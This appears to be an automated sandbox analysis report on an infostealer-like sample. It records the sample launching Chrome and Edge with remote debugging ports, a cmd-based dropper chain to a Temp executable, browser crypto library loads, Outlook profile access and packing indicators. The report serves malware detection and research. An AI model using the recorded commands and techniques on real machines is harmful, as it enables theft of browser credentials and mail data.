Source: file.exe, 00000000.00000003.1592472905.000000001DD4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1498107883.000000001DD49000.00000004.00000020.00020000.00000000.sdmp, GIIEGHIDBGHIECAAECGD.0.dr, KKEHDBAEGIIIEBGCAAFH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsGCBFBGCGIJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2004,i,4550808738951624434,3396110950009088657,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2280,i,4679761206996037597,10384987067001823666,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6580 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6772 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBFBGCGIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCBFBGCGIJ.exe "C:\Users\user\DocumentsGCBFBGCGIJ.exe"
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5716 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBFBGCGIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2004,i,4550808738951624434,3396110950009088657,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2280,i,4679761206996037597,10384987067001823666,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6580 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6772 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5716 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCBFBGCGIJ.exe "C:\Users\user\DocumentsGCBFBGCGIJ.exe"
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1848320 > 1048576

Source: file.exe

Static PE information: Raw size of lgjpmlrc is bigger than: 0x100000 < 0x1a9600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1852942424.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1852942424.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.bc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lgjpmlrc:EW;fjrpqkrp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lgjpmlrc:EW;fjrpqkrp:EW;.taggant:EW;
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Unpacked PE file: 21.2.DocumentsGCBFBGCGIJ.exe.a00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hwqxmwlo:EW;mfzfwoib:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: real checksum: 0x1cd039 should be: 0x1d39cb
Source: file.exe	Static PE information: real checksum: 0x1c7678 should be: 0x1c4691
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1cd039 should be: 0x1d39cb
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1cd039 should be: 0x1d39cb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: lgjpmlrc
Source: file.exe	Static PE information: section name: fjrpqkrp
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
